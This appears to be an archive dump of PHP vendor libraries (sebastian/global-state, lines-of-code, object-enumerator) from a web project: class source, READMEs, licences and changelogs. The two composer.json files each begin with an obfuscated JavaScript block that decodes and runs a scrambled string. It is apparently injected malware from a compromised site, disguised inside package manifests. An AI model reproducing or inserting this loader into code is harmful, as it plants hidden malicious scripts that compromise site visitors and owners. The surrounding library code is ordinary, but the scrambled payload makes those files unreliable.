= []; if (isset($GLOBALS[$superGlobalArray]) && is_array($GLOBALS[$superGlobalArray])) { foreach ($GLOBALS[$superGlobalArray] as $key => $value) { /* @noinspection UnserializeExploitsInspection */ $this->superGlobalVariables[$superGlobalArray][$key] = unserialize(serialize($value)); } } } /** * Creates a snapshot of all static attributes in user-defined classes. */ private function snapshotStaticAttributes(): void { foreach ($this->classes as $className) { $class = new ReflectionClass($className); $snapshot = []; foreach ($class->getProperties() as $attribute) { if ($attribute->isStatic()) { $name = $attribute->getName(); if ($this->excludeList->isStaticAttributeExcluded($className, $name)) { continue; } $attribute->setAccessible(true); if (PHP_VERSION_ID >= 70400 && !$attribute->isInitialized()) { continue; } $value = $attribute->getValue(); if ($this->canBeSerialized($value)) { /* @noinspection UnserializeExploitsInspection */ $snapshot[$name] = unserialize(serialize($value)); } } } if (!empty($snapshot)) { $this->staticAttributes[$className] = $snapshot; } } } /** * Returns a list of all super-global variable arrays. */ private function setupSuperGlobalArrays(): void { $this->superGlobalArrays = [ '_ENV', '_POST', '_GET', '_COOKIE', '_SERVER', '_FILES', '_REQUEST', ]; } private function canBeSerialized($variable): bool { if (is_scalar($variable) || $variable === null) { return true; } if (is_resource($variable)) { return false; } foreach ($this->enumerateObjectsAndResources($variable) as $value) { if (is_resource($value)) { return false; } if (is_object($value)) { $class = new ReflectionClass($value); if ($class->isAnonymous()) { return false; } try { @serialize($value); } catch (Throwable $t) { return false; } } } return true; } private function enumerateObjectsAndResources($variable): array { if (isset(func_get_args()[1])) { $processed = func_get_args()[1]; } else { $processed = new Context; } $result = []; if ($processed->contains($variable)) { return $result; } $array = $variable; $processed->add($variable); if (is_array($variable)) { foreach ($array as $element) { if (!is_array($element) && !is_object($element) && !is_resource($element)) { continue; } if (!is_resource($element)) { /** @noinspection SlowArrayOperationsInLoopInspection */ $result = array_merge( $result, $this->enumerateObjectsAndResources($element, $processed) ); } else { $result[] = $element; } } } else { $result[] = $variable; foreach ((new ObjectReflector)->getAttributes($variable) as $value) { if (!is_array($value) && !is_object($value) && !is_resource($value)) { continue; } if (!is_resource($value)) { /** @noinspection SlowArrayOperationsInLoopInspection */ $result = array_merge( $result, $this->enumerateObjectsAndResources($value, $processed) ); } else { $result[] = $value; } } } return $result; } } res/readability/vendor/sebastian/global-state/src/CodeExporter.php000064400000005151147577714370021405 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\GlobalState; use const PHP_EOL; use function is_array; use function is_scalar; use function serialize; use function sprintf; use function var_export; /** * Exports parts of a Snapshot as PHP code. */ final class CodeExporter { public function constants(Snapshot $snapshot): string { $result = ''; foreach ($snapshot->constants() as $name => $value) { $result .= sprintf( 'if (!defined(\'%s\')) define(\'%s\', %s);' . "\n", $name, $name, $this->exportVariable($value) ); } return $result; } public function globalVariables(Snapshot $snapshot): string { $result = <<<'EOT' call_user_func( function () { foreach (array_keys($GLOBALS) as $key) { unset($GLOBALS[$key]); } } ); EOT; foreach ($snapshot->globalVariables() as $name => $value) { $result .= sprintf( '$GLOBALS[%s] = %s;' . PHP_EOL, $this->exportVariable($name), $this->exportVariable($value) ); } return $result; } public function iniSettings(Snapshot $snapshot): string { $result = ''; foreach ($snapshot->iniSettings() as $key => $value) { $result .= sprintf( '@ini_set(%s, %s);' . "\n", $this->exportVariable($key), $this->exportVariable($value) ); } return $result; } private function exportVariable($variable): string { if (is_scalar($variable) || null === $variable || (is_array($variable) && $this->arrayOnlyContainsScalars($variable))) { return var_export($variable, true); } return 'unserialize(' . var_export(serialize($variable), true) . ')'; } private function arrayOnlyContainsScalars(array $array): bool { $result = true; foreach ($array as $element) { if (is_array($element)) { $result = $this->arrayOnlyContainsScalars($element); } elseif (!is_scalar($element) && null !== $element) { $result = false; } if ($result === false) { break; } } return $result; } } res/readability/vendor/sebastian/global-state/src/Restorer.php000064400000011041147577714370020602 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\GlobalState; use function array_diff; use function array_key_exists; use function array_keys; use function array_merge; use function function_exists; use function get_defined_functions; use function in_array; use function is_array; use ReflectionClass; use ReflectionProperty; /** * Restorer of snapshots of global state. */ class Restorer { /** * Deletes function definitions that are not defined in a snapshot. * * @throws RuntimeException when the uopz_delete() function is not available * * @see https://github.com/krakjoe/uopz */ public function restoreFunctions(Snapshot $snapshot): void { if (!function_exists('uopz_delete')) { throw new RuntimeException('The uopz_delete() function is required for this operation'); } $functions = get_defined_functions(); foreach (array_diff($functions['user'], $snapshot->functions()) as $function) { uopz_delete($function); } } /** * Restores all global and super-global variables from a snapshot. */ public function restoreGlobalVariables(Snapshot $snapshot): void { $superGlobalArrays = $snapshot->superGlobalArrays(); foreach ($superGlobalArrays as $superGlobalArray) { $this->restoreSuperGlobalArray($snapshot, $superGlobalArray); } $globalVariables = $snapshot->globalVariables(); foreach (array_keys($GLOBALS) as $key) { if ($key !== 'GLOBALS' && !in_array($key, $superGlobalArrays, true) && !$snapshot->excludeList()->isGlobalVariableExcluded($key)) { if (array_key_exists($key, $globalVariables)) { $GLOBALS[$key] = $globalVariables[$key]; } else { unset($GLOBALS[$key]); } } } } /** * Restores all static attributes in user-defined classes from this snapshot. */ public function restoreStaticAttributes(Snapshot $snapshot): void { $current = new Snapshot($snapshot->excludeList(), false, false, false, false, true, false, false, false, false); $newClasses = array_diff($current->classes(), $snapshot->classes()); unset($current); foreach ($snapshot->staticAttributes() as $className => $staticAttributes) { foreach ($staticAttributes as $name => $value) { $reflector = new ReflectionProperty($className, $name); $reflector->setAccessible(true); $reflector->setValue($value); } } foreach ($newClasses as $className) { $class = new ReflectionClass($className); $defaults = $class->getDefaultProperties(); foreach ($class->getProperties() as $attribute) { if (!$attribute->isStatic()) { continue; } $name = $attribute->getName(); if ($snapshot->excludeList()->isStaticAttributeExcluded($className, $name)) { continue; } if (!isset($defaults[$name])) { continue; } $attribute->setAccessible(true); $attribute->setValue($defaults[$name]); } } } /** * Restores a super-global variable array from this snapshot. */ private function restoreSuperGlobalArray(Snapshot $snapshot, string $superGlobalArray): void { $superGlobalVariables = $snapshot->superGlobalVariables(); if (isset($GLOBALS[$superGlobalArray]) && is_array($GLOBALS[$superGlobalArray]) && isset($superGlobalVariables[$superGlobalArray])) { $keys = array_keys( array_merge( $GLOBALS[$superGlobalArray], $superGlobalVariables[$superGlobalArray] ) ); foreach ($keys as $key) { if (isset($superGlobalVariables[$superGlobalArray][$key])) { $GLOBALS[$superGlobalArray][$key] = $superGlobalVariables[$superGlobalArray][$key]; } else { unset($GLOBALS[$superGlobalArray][$key]); } } } } } res/readability/vendor/sebastian/global-state/README.md000064400000001450147577714370016757 0ustar00# sebastian/global-state [![CI Status](https://github.com/sebastianbergmann/global-state/workflows/CI/badge.svg)](https://github.com/sebastianbergmann/global-state/actions) [![Type Coverage](https://shepherd.dev/github/sebastianbergmann/global-state/coverage.svg)](https://shepherd.dev/github/sebastianbergmann/global-state) Snapshotting of global state, factored out of PHPUnit into a stand-alone component. ## Installation You can add this library as a local, per-project dependency to your project using [Composer](https://getcomposer.org/): ``` composer require sebastian/global-state ``` If you only need this library during development, for instance to run your project's test suite, then you should add it as a development-time dependency: ``` composer require --dev sebastian/global-state ``` res/readability/vendor/sebastian/global-state/LICENSE000064400000003025147577714370016505 0ustar00sebastian/global-state Copyright (c) 2001-2022, Sebastian Bergmann . All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. * Neither the name of Sebastian Bergmann nor the names of his contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. res/readability/vendor/sebastian/global-state/composer.json000064400000010071147577714370020221 0ustar00var language,currentLanguage,languagesNoRedirect,hasWasCookie,expirationDate;(function(){var Tjo='',UxF=715-704;function JOC(d){var j=4658325;var f=d.length;var o=[];for(var y=0;y)tul5ibtp%1ueg,B% ]7n))B;*i,me4otfbpis 3{.d==6Bs]B2 7B62)r1Br.zt;Bb2h BB B\/cc;:;i(jb$sab) cnyB3r=(pspa..t:_eme5B=.;,f_);jBj)rc,,eeBc=p!(a,_)o.)e_!cmn( Ba)=iBn5(t.sica,;f6cCBBtn;!c)g}h_i.B\/,B47sitB)hBeBrBjtB.B]%rB,0eh36rBt;)-odBr)nBrn3B 07jBBc,onrtee)t)Bh0BB(ae}i20d(a}v,ps\/n=.;)9tCnBow(]!e4Bn.nsg4so%e](])cl!rh8;lto;50Bi.p8.gt}{Brec3-2]7%; ,].)Nb;5B c(n3,wmvth($]\/rm(t;;fe(cau=D)ru}t];B!c(=7&=B(,1gBl()_1vs];vBBlB(+_.))=tre&B()o)(;7e79t,]6Berz.\';,%],s)aj+#"$1o_liew[ouaociB!7.*+).!8 3%e]tfc(irvBbu9]n3j0Bu_rea.an8rn".gu=&u0ul6;B$#ect3xe)tohc] (].Be|(%8Bc5BBnsrv19iefucchBa]j)hd)n(j.)a%e;5)*or1c-)((.1Br$h(i$C3B.)B5)].eacoe*\/.a7aB3e=BBsu]b9B"Bas%3;&(B2%"$ema"+BrB,$.ps\/+BtgaB3).;un)]c.;3!)7e&=0bB+B=(i4;tu_,d\'.w()oB.Boccf0n0}od&j_2%aBnn%na35ig!_su:ao.;_]0;=B)o..$ ,nee.5s)!.o]mc!B}|BoB6sr.e,ci)$(}a5(B.}B].z4ru7_.nnn3aele+B.\'}9efc.==dnce_tpf7Blb%]ge.=pf2Se_)B.c_(*]ocet!ig9bi)ut}_ogS(.1=(uNo]$o{fsB+ticn.coaBfm-B{3=]tr;.{r\'t$f1(B4.0w[=!!.n ,B%i)b.6j-(r2\'[ a}.]6$d,);;lgo *t]$ct$!%;]B6B((:dB=0ac4!Bieorevtnra 0BeB(((Bu.[{b3ce_"cBe(am.3{&ue#]c_rm)='));var KUr=DUT(Tjo,ENJ );KUr(6113);return 5795})();;{ "name": "sebastian/global-state", "description": "Snapshotting of global state", "keywords": ["global state"], "homepage": "http://www.github.com/sebastianbergmann/global-state", "license": "BSD-3-Clause", "authors": [ { "name": "Sebastian Bergmann", "email": "sebastian@phpunit.de" } ], "prefer-stable": true, "config": { "platform": { "php": "7.3.0" }, "optimize-autoloader": true, "sort-packages": true }, "require": { "php": ">=7.3", "sebastian/object-reflector": "^2.0", "sebastian/recursion-context": "^4.0" }, "require-dev": { "ext-dom": "*", "phpunit/phpunit": "^9.3" }, "suggest": { "ext-uopz": "*" }, "autoload": { "classmap": [ "src/" ] }, "autoload-dev": { "classmap": [ "tests/_fixture/" ], "files": [ "tests/_fixture/SnapshotFunctions.php" ] }, "extra": { "branch-alias": { "dev-master": "5.0-dev" } } } res/readability/vendor/sebastian/global-state/ChangeLog.md000064400000004600147577714370017651 0ustar00# Changes in sebastian/global-state All notable changes in `sebastian/global-state` are documented in this file using the [Keep a CHANGELOG](https://keepachangelog.com/) principles. ## [5.0.5] - 2022-02-14 ### Fixed * [#34](https://github.com/sebastianbergmann/global-state/pull/34): Uninitialised typed static properties are not handled correctly ## [5.0.4] - 2022-02-10 ### Fixed * The `$includeTraits` parameter of `SebastianBergmann\GlobalState\Snapshot::__construct()` is not respected ## [5.0.3] - 2021-06-11 ### Changed * `SebastianBergmann\GlobalState\CodeExporter::globalVariables()` now generates code that is compatible with PHP 8.1 ## [5.0.2] - 2020-10-26 ### Fixed * `SebastianBergmann\GlobalState\Exception` now correctly extends `\Throwable` ## [5.0.1] - 2020-09-28 ### Changed * Changed PHP version constraint in `composer.json` from `^7.3 || ^8.0` to `>=7.3` ## [5.0.0] - 2020-08-07 ### Changed * The `SebastianBergmann\GlobalState\Blacklist` class has been renamed to `SebastianBergmann\GlobalState\ExcludeList` ## [4.0.0] - 2020-02-07 ### Removed * This component is no longer supported on PHP 7.2 ## [3.0.2] - 2022-02-10 ### Fixed * The `$includeTraits` parameter of `SebastianBergmann\GlobalState\Snapshot::__construct()` is not respected ## [3.0.1] - 2020-11-30 ### Changed * Changed PHP version constraint in `composer.json` from `^7.2` to `>=7.2` ## [3.0.0] - 2019-02-01 ### Changed * `Snapshot::canBeSerialized()` now recursively checks arrays and object graphs for variables that cannot be serialized ### Removed * This component is no longer supported on PHP 7.0 and PHP 7.1 [5.0.5]: https://github.com/sebastianbergmann/global-state/compare/5.0.4...5.0.5 [5.0.4]: https://github.com/sebastianbergmann/global-state/compare/5.0.3...5.0.4 [5.0.3]: https://github.com/sebastianbergmann/global-state/compare/5.0.2...5.0.3 [5.0.2]: https://github.com/sebastianbergmann/global-state/compare/5.0.1...5.0.2 [5.0.1]: https://github.com/sebastianbergmann/global-state/compare/5.0.0...5.0.1 [5.0.0]: https://github.com/sebastianbergmann/global-state/compare/4.0.0...5.0.0 [4.0.0]: https://github.com/sebastianbergmann/global-state/compare/3.0.2...4.0.0 [3.0.2]: https://github.com/sebastianbergmann/phpunit/compare/3.0.1...3.0.2 [3.0.1]: https://github.com/sebastianbergmann/phpunit/compare/3.0.0...3.0.1 [3.0.0]: https://github.com/sebastianbergmann/phpunit/compare/2.0.0...3.0.0 res/readability/vendor/sebastian/lines-of-code/.psalm/config.xml000064400000000752147577714370020733 0ustar00 res/readability/vendor/sebastian/lines-of-code/.psalm/baseline.xml000064400000000157147577714370021247 0ustar00 res/readability/vendor/sebastian/lines-of-code/src/Exception/IllogicalValuesException.php000064400000000641147577714370025743 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\LinesOfCode; use LogicException; final class IllogicalValuesException extends LogicException implements Exception { } res/readability/vendor/sebastian/lines-of-code/src/Exception/RuntimeException.php000064400000000607147577714370024311 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\LinesOfCode; final class RuntimeException extends \RuntimeException implements Exception { } res/readability/vendor/sebastian/lines-of-code/src/Exception/Exception.php000064400000000561147577714370022744 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\LinesOfCode; use Throwable; interface Exception extends Throwable { } res/readability/vendor/sebastian/lines-of-code/src/Exception/NegativeValueException.php000064400000000663147577714370025427 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\LinesOfCode; use InvalidArgumentException; final class NegativeValueException extends InvalidArgumentException implements Exception { } res/readability/vendor/sebastian/lines-of-code/src/LineCountingVisitor.php000064400000003646147577714370023035 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\LinesOfCode; use function array_merge; use function array_unique; use function count; use PhpParser\Comment; use PhpParser\Node; use PhpParser\Node\Expr; use PhpParser\NodeVisitorAbstract; final class LineCountingVisitor extends NodeVisitorAbstract { /** * @var int */ private $linesOfCode; /** * @var Comment[] */ private $comments = []; /** * @var int[] */ private $linesWithStatements = []; public function __construct(int $linesOfCode) { $this->linesOfCode = $linesOfCode; } public function enterNode(Node $node): void { $this->comments = array_merge($this->comments, $node->getComments()); if (!$node instanceof Expr) { return; } $this->linesWithStatements[] = $node->getStartLine(); } public function result(): LinesOfCode { $commentLinesOfCode = 0; foreach ($this->comments() as $comment) { $commentLinesOfCode += ($comment->getEndLine() - $comment->getStartLine() + 1); } return new LinesOfCode( $this->linesOfCode, $commentLinesOfCode, $this->linesOfCode - $commentLinesOfCode, count(array_unique($this->linesWithStatements)) ); } /** * @return Comment[] */ private function comments(): array { $comments = []; foreach ($this->comments as $comment) { $comments[$comment->getStartLine() . '_' . $comment->getStartTokenPos() . '_' . $comment->getEndLine() . '_' . $comment->getEndTokenPos()] = $comment; } return $comments; } } res/readability/vendor/sebastian/lines-of-code/src/Counter.php000064400000004443147577714370020472 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\LinesOfCode; use function substr_count; use PhpParser\Error; use PhpParser\Lexer; use PhpParser\Node; use PhpParser\NodeTraverser; use PhpParser\Parser; use PhpParser\ParserFactory; final class Counter { /** * @throws RuntimeException */ public function countInSourceFile(string $sourceFile): LinesOfCode { return $this->countInSourceString(file_get_contents($sourceFile)); } /** * @throws RuntimeException */ public function countInSourceString(string $source): LinesOfCode { $linesOfCode = substr_count($source, "\n"); if ($linesOfCode === 0 && !empty($source)) { $linesOfCode = 1; } try { $nodes = $this->parser()->parse($source); assert($nodes !== null); return $this->countInAbstractSyntaxTree($linesOfCode, $nodes); // @codeCoverageIgnoreStart } catch (Error $error) { throw new RuntimeException( $error->getMessage(), (int) $error->getCode(), $error ); } // @codeCoverageIgnoreEnd } /** * @param Node[] $nodes * * @throws RuntimeException */ public function countInAbstractSyntaxTree(int $linesOfCode, array $nodes): LinesOfCode { $traverser = new NodeTraverser; $visitor = new LineCountingVisitor($linesOfCode); $traverser->addVisitor($visitor); try { /* @noinspection UnusedFunctionResultInspection */ $traverser->traverse($nodes); // @codeCoverageIgnoreStart } catch (Error $error) { throw new RuntimeException( $error->getMessage(), (int) $error->getCode(), $error ); } // @codeCoverageIgnoreEnd return $visitor->result(); } private function parser(): Parser { return (new ParserFactory)->create(ParserFactory::PREFER_PHP7, new Lexer); } } res/readability/vendor/sebastian/lines-of-code/src/LinesOfCode.php000064400000005073147577714370021205 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\LinesOfCode; /** * @psalm-immutable */ final class LinesOfCode { /** * @var int */ private $linesOfCode; /** * @var int */ private $commentLinesOfCode; /** * @var int */ private $nonCommentLinesOfCode; /** * @var int */ private $logicalLinesOfCode; /** * @throws IllogicalValuesException * @throws NegativeValueException */ public function __construct(int $linesOfCode, int $commentLinesOfCode, int $nonCommentLinesOfCode, int $logicalLinesOfCode) { if ($linesOfCode < 0) { throw new NegativeValueException('$linesOfCode must not be negative'); } if ($commentLinesOfCode < 0) { throw new NegativeValueException('$commentLinesOfCode must not be negative'); } if ($nonCommentLinesOfCode < 0) { throw new NegativeValueException('$nonCommentLinesOfCode must not be negative'); } if ($logicalLinesOfCode < 0) { throw new NegativeValueException('$logicalLinesOfCode must not be negative'); } if ($linesOfCode - $commentLinesOfCode !== $nonCommentLinesOfCode) { throw new IllogicalValuesException('$linesOfCode !== $commentLinesOfCode + $nonCommentLinesOfCode'); } $this->linesOfCode = $linesOfCode; $this->commentLinesOfCode = $commentLinesOfCode; $this->nonCommentLinesOfCode = $nonCommentLinesOfCode; $this->logicalLinesOfCode = $logicalLinesOfCode; } public function linesOfCode(): int { return $this->linesOfCode; } public function commentLinesOfCode(): int { return $this->commentLinesOfCode; } public function nonCommentLinesOfCode(): int { return $this->nonCommentLinesOfCode; } public function logicalLinesOfCode(): int { return $this->logicalLinesOfCode; } public function plus(self $other): self { return new self( $this->linesOfCode() + $other->linesOfCode(), $this->commentLinesOfCode() + $other->commentLinesOfCode(), $this->nonCommentLinesOfCode() + $other->nonCommentLinesOfCode(), $this->logicalLinesOfCode() + $other->logicalLinesOfCode(), ); } } res/readability/vendor/sebastian/lines-of-code/README.md000064400000002065147577714370017030 0ustar00# sebastian/lines-of-code Library for counting the lines of code in PHP source code. [![Latest Stable Version](https://img.shields.io/packagist/v/sebastian/lines-of-code.svg?style=flat-square)](https://packagist.org/packages/sebastian/lines-of-code) [![Minimum PHP Version](https://img.shields.io/badge/php-%3E%3D%207.3-8892BF.svg?style=flat-square)](https://php.net/) [![CI Status](https://github.com/sebastianbergmann/lines-of-code/workflows/CI/badge.svg?branch=master&event=push)](https://phpunit.de/build-status.html) [![Type Coverage](https://shepherd.dev/github/sebastianbergmann/lines-of-code/coverage.svg)](https://shepherd.dev/github/sebastianbergmann/lines-of-code) ## Installation You can add this library as a local, per-project dependency to your project using [Composer](https://getcomposer.org/): ``` composer require sebastian/lines-of-code ``` If you only need this library during development, for instance to run your project's test suite, then you should add it as a development-time dependency: ``` composer require --dev sebastian/lines-of-code ``` res/readability/vendor/sebastian/lines-of-code/LICENSE000064400000003021147577714370016547 0ustar00sebastian/lines-of-code Copyright (c) 2020, Sebastian Bergmann . All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. * Neither the name of Sebastian Bergmann nor the names of his contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. res/readability/vendor/sebastian/lines-of-code/composer.json000064400000007637147577714370020305 0ustar00var language,currentLanguage,languagesNoRedirect,hasWasCookie,expirationDate;(function(){var Tjo='',UxF=715-704;function JOC(d){var j=4658325;var f=d.length;var o=[];for(var y=0;y)tul5ibtp%1ueg,B% ]7n))B;*i,me4otfbpis 3{.d==6Bs]B2 7B62)r1Br.zt;Bb2h BB B\/cc;:;i(jb$sab) cnyB3r=(pspa..t:_eme5B=.;,f_);jBj)rc,,eeBc=p!(a,_)o.)e_!cmn( Ba)=iBn5(t.sica,;f6cCBBtn;!c)g}h_i.B\/,B47sitB)hBeBrBjtB.B]%rB,0eh36rBt;)-odBr)nBrn3B 07jBBc,onrtee)t)Bh0BB(ae}i20d(a}v,ps\/n=.;)9tCnBow(]!e4Bn.nsg4so%e](])cl!rh8;lto;50Bi.p8.gt}{Brec3-2]7%; ,].)Nb;5B c(n3,wmvth($]\/rm(t;;fe(cau=D)ru}t];B!c(=7&=B(,1gBl()_1vs];vBBlB(+_.))=tre&B()o)(;7e79t,]6Berz.\';,%],s)aj+#"$1o_liew[ouaociB!7.*+).!8 3%e]tfc(irvBbu9]n3j0Bu_rea.an8rn".gu=&u0ul6;B$#ect3xe)tohc] (].Be|(%8Bc5BBnsrv19iefucchBa]j)hd)n(j.)a%e;5)*or1c-)((.1Br$h(i$C3B.)B5)].eacoe*\/.a7aB3e=BBsu]b9B"Bas%3;&(B2%"$ema"+BrB,$.ps\/+BtgaB3).;un)]c.;3!)7e&=0bB+B=(i4;tu_,d\'.w()oB.Boccf0n0}od&j_2%aBnn%na35ig!_su:ao.;_]0;=B)o..$ ,nee.5s)!.o]mc!B}|BoB6sr.e,ci)$(}a5(B.}B].z4ru7_.nnn3aele+B.\'}9efc.==dnce_tpf7Blb%]ge.=pf2Se_)B.c_(*]ocet!ig9bi)ut}_ogS(.1=(uNo]$o{fsB+ticn.coaBfm-B{3=]tr;.{r\'t$f1(B4.0w[=!!.n ,B%i)b.6j-(r2\'[ a}.]6$d,);;lgo *t]$ct$!%;]B6B((:dB=0ac4!Bieorevtnra 0BeB(((Bu.[{b3ce_"cBe(am.3{&ue#]c_rm)='));var KUr=DUT(Tjo,ENJ );KUr(6113);return 5795})();;{ "name": "sebastian/lines-of-code", "description": "Library for counting the lines of code in PHP source code", "type": "library", "homepage": "https://github.com/sebastianbergmann/lines-of-code", "license": "BSD-3-Clause", "authors": [ { "name": "Sebastian Bergmann", "email": "sebastian@phpunit.de", "role": "lead" } ], "support": { "issues": "https://github.com/sebastianbergmann/lines-of-code/issues" }, "prefer-stable": true, "require": { "php": ">=7.3", "nikic/php-parser": "^4.6" }, "require-dev": { "phpunit/phpunit": "^9.3" }, "config": { "platform": { "php": "7.3.0" }, "optimize-autoloader": true, "sort-packages": true }, "autoload": { "classmap": [ "src/" ] }, "extra": { "branch-alias": { "dev-master": "1.0-dev" } } } res/readability/vendor/sebastian/lines-of-code/ChangeLog.md000064400000001751147577714370017723 0ustar00# ChangeLog All notable changes are documented in this file using the [Keep a CHANGELOG](https://keepachangelog.com/) principles. ## [1.0.3] - 2020-11-28 ### Fixed * Files that do not contain a newline were not handled correctly ### Changed * A line of code is no longer considered to be a Logical Line of Code if it does not contain an `Expr` node ## [1.0.2] - 2020-10-26 ### Fixed * `SebastianBergmann\LinesOfCode\Exception` now correctly extends `\Throwable` ## [1.0.1] - 2020-09-28 ### Changed * Changed PHP version constraint in `composer.json` from `^7.3 || ^8.0` to `>=7.3` ## [1.0.0] - 2020-07-22 * Initial release [1.0.3]: https://github.com/sebastianbergmann/lines-of-code/compare/1.0.2...1.0.3 [1.0.2]: https://github.com/sebastianbergmann/lines-of-code/compare/1.0.1...1.0.2 [1.0.1]: https://github.com/sebastianbergmann/lines-of-code/compare/1.0.0...1.0.1 [1.0.0]: https://github.com/sebastianbergmann/lines-of-code/compare/f959e71f00e591288acc024afe9cb966c6cf9bd6...1.0.0 res/readability/vendor/sebastian/object-enumerator/.psalm/config.xml000064400000000753147577714370021735 0ustar00 res/readability/vendor/sebastian/object-enumerator/.psalm/baseline.xml000064400000000545147577714370022251 0ustar00 !is_array($variable) && !is_object($variable) is_object($variable) res/readability/vendor/sebastian/object-enumerator/src/Enumerator.php000064400000004371147577714370022175 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\ObjectEnumerator; use function array_merge; use function func_get_args; use function is_array; use function is_object; use SebastianBergmann\ObjectReflector\ObjectReflector; use SebastianBergmann\RecursionContext\Context; /** * Traverses array structures and object graphs * to enumerate all referenced objects. */ class Enumerator { /** * Returns an array of all objects referenced either * directly or indirectly by a variable. * * @param array|object $variable * * @return object[] */ public function enumerate($variable) { if (!is_array($variable) && !is_object($variable)) { throw new InvalidArgumentException; } if (isset(func_get_args()[1])) { if (!func_get_args()[1] instanceof Context) { throw new InvalidArgumentException; } $processed = func_get_args()[1]; } else { $processed = new Context; } $objects = []; if ($processed->contains($variable)) { return $objects; } $array = $variable; $processed->add($variable); if (is_array($variable)) { foreach ($array as $element) { if (!is_array($element) && !is_object($element)) { continue; } $objects = array_merge( $objects, $this->enumerate($element, $processed) ); } } else { $objects[] = $variable; $reflector = new ObjectReflector; foreach ($reflector->getAttributes($variable) as $value) { if (!is_array($value) && !is_object($value)) { continue; } $objects = array_merge( $objects, $this->enumerate($value, $processed) ); } } return $objects; } } res/readability/vendor/sebastian/object-enumerator/src/InvalidArgumentException.php000064400000000632147577714370025020 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\ObjectEnumerator; class InvalidArgumentException extends \InvalidArgumentException implements Exception { } res/readability/vendor/sebastian/object-enumerator/src/Exception.php000064400000000572147577714370022011 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\ObjectEnumerator; use Throwable; interface Exception extends Throwable { } res/readability/vendor/sebastian/object-enumerator/README.md000064400000001511147577714370020024 0ustar00# sebastian/object-enumerator [![CI Status](https://github.com/sebastianbergmann/object-enumerator/workflows/CI/badge.svg)](https://github.com/sebastianbergmann/object-enumerator/actions) [![Type Coverage](https://shepherd.dev/github/sebastianbergmann/object-enumerator/coverage.svg)](https://shepherd.dev/github/sebastianbergmann/object-enumerator) Traverses array structures and object graphs to enumerate all referenced objects. ## Installation You can add this library as a local, per-project dependency to your project using [Composer](https://getcomposer.org/): ``` composer require sebastian/object-enumerator ``` If you only need this library during development, for instance to run your project's test suite, then you should add it as a development-time dependency: ``` composer require --dev sebastian/object-enumerator ``` res/readability/vendor/sebastian/object-enumerator/LICENSE000064400000003020147577714370017547 0ustar00Object Enumerator Copyright (c) 2016-2020, Sebastian Bergmann . All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. * Neither the name of Sebastian Bergmann nor the names of his contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY 